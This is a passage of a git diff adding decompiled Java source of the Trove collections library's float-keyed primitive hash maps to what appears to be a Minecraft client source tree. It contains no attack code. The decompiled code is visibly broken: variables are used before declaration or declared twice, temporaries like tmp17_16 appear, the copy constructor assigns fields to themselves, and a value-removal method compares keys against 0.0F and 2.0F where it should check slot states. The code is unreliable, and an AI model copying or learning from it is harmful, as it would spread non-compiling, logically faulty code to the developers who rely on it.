+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    float[] oldKeys = _set;
+    char[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new float[newCapacity];
+    _values = new char[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        float o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public char put(float key, char value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public char putIfAbsent(float key, char value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private char doPut(float key, char value, int index)
+  {
+    char previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Float, ? extends Character> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Float, ? extends Character> entry : map.entrySet()) {
+      put(((Float)entry.getKey()).floatValue(), ((Character)entry.getValue()).charValue());
+    }
+  }
+  
+
+  public void putAll(TFloatCharMap map)
+  {
+    ensureCapacity(map.size());
+    TFloatCharIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public char get(float key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public char remove(float key)
+  {
+    char prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TFloatSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public float[] keys()
+  {
+    float[] keys = new float[size()];
+    float[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public float[] keys(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TCharCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public char[] values()
+  {
+    char[] vals = new char[size()];
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public char[] values(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(char val)
+  {
+    byte[] states = _states;
+    char[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(float key)
+  {
+    return contains(key);
+  }
+  
+
+  public TFloatCharIterator iterator()
+  {
+    return new TFloatCharHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TFloatProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TFloatCharProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] keys = _set;
+    char[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TCharFunction function)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TFloatCharProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    float[] keys = _set;
+    char[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(float key)
+  {
+    return adjustValue(key, '\001');
+  }
+  
+
+  public boolean adjustValue(float key, char amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; char[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((char)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public char adjustOrPutValue(float key, char adjust_amount, char put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    char newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; char[] tmp25_20 = _values;char newValue = tmp25_20[tmp25_23] = (char)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TFloatSet
+  {
+    protected TKeyView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TFloatCharHashMap.TFloatCharKeyHashIterator(TFloatCharHashMap.this, TFloatCharHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return TFloatCharHashMap.this.contains(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!TFloatCharHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TFloatSet)) {
+        return false;
+      }
+      TFloatSet that = (TFloatSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TCharCollection
+  {
+    protected TValueView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TFloatCharHashMap.TFloatCharValueHashIterator(TFloatCharHashMap.this, TFloatCharHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return values();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      char[] values = _values;
+      float[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0F) && (set[i] != 2.0F) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TFloatCharKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TFloatCharKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TFloatCharValueHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TFloatCharValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TFloatCharHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatCharIterator
+  {
+    TFloatCharHashIterator(TFloatCharHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public float key()
+    {
+      return _set[_index];
+    }
+    
+    public char value()
+    {
+      return _values[_index];
+    }
+    
+    public char setValue(char val)
+    {
+      char old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TFloatCharMap)) {
+      return false;
+    }
+    TFloatCharMap that = (TFloatCharMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    char[] values = _values;
+    byte[] states = _states;
+    char this_no_entry_value = getNoEntryValue();
+    char that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        float key = _set[i];
+        char that_value = that.get(key);
+        char this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TFloatCharProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(float key, char value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeFloat(_set[i]);
+        out.writeChar(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      float key = in.readFloat();
+      char val = in.readChar();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TFloatDoubleHashMap.java b/src/minecraft/gnu/trove/map/hash/TFloatDoubleHashMap.java
new file mode 100644
index 0000000..a72d214
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TFloatDoubleHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TFloatDoubleHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TFloatDoubleIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.map.TFloatDoubleMap;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TFloatDoubleProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatDoubleHashMap
+  extends TFloatDoubleHash
+  implements TFloatDoubleMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient double[] _values;
+  
+  public TFloatDoubleHashMap() {}
+  
+  public TFloatDoubleHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatDoubleHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TFloatDoubleHashMap(int initialCapacity, float loadFactor, float noEntryKey, double noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatDoubleHashMap(float[] keys, double[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TFloatDoubleHashMap(TFloatDoubleMap map)
+  {
+    super(map.size());
+    if ((map instanceof TFloatDoubleHashMap)) {
+      TFloatDoubleHashMap hashmap = (TFloatDoubleHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0F) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    float[] oldKeys = _set;
+    double[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new float[newCapacity];
+    _values = new double[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        float o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public double put(float key, double value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public double putIfAbsent(float key, double value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private double doPut(float key, double value, int index)
+  {
+    double previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Float, ? extends Double> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Float, ? extends Double> entry : map.entrySet()) {
+      put(((Float)entry.getKey()).floatValue(), ((Double)entry.getValue()).doubleValue());
+    }
+  }
+  
+
+  public void putAll(TFloatDoubleMap map)
+  {
+    ensureCapacity(map.size());
+    TFloatDoubleIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public double get(float key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public double remove(float key)
+  {
+    double prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TFloatSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public float[] keys()
+  {
+    float[] keys = new float[size()];
+    float[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public float[] keys(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TDoubleCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public double[] values()
+  {
+    double[] vals = new double[size()];
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public double[] values(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(double val)
+  {
+    byte[] states = _states;
+    double[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(float key)
+  {
+    return contains(key);
+  }
+  
+
+  public TFloatDoubleIterator iterator()
+  {
+    return new TFloatDoubleHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TFloatProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TFloatDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] keys = _set;
+    double[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TDoubleFunction function)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TFloatDoubleProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    float[] keys = _set;
+    double[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(float key)
+  {
+    return adjustValue(key, 1.0D);
+  }
+  
+
+  public boolean adjustValue(float key, double amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public double adjustOrPutValue(float key, double adjust_amount, double put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    double newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      double newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TFloatSet
+  {
+    protected TKeyView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TFloatDoubleHashMap.TFloatDoubleKeyHashIterator(TFloatDoubleHashMap.this, TFloatDoubleHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return TFloatDoubleHashMap.this.contains(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
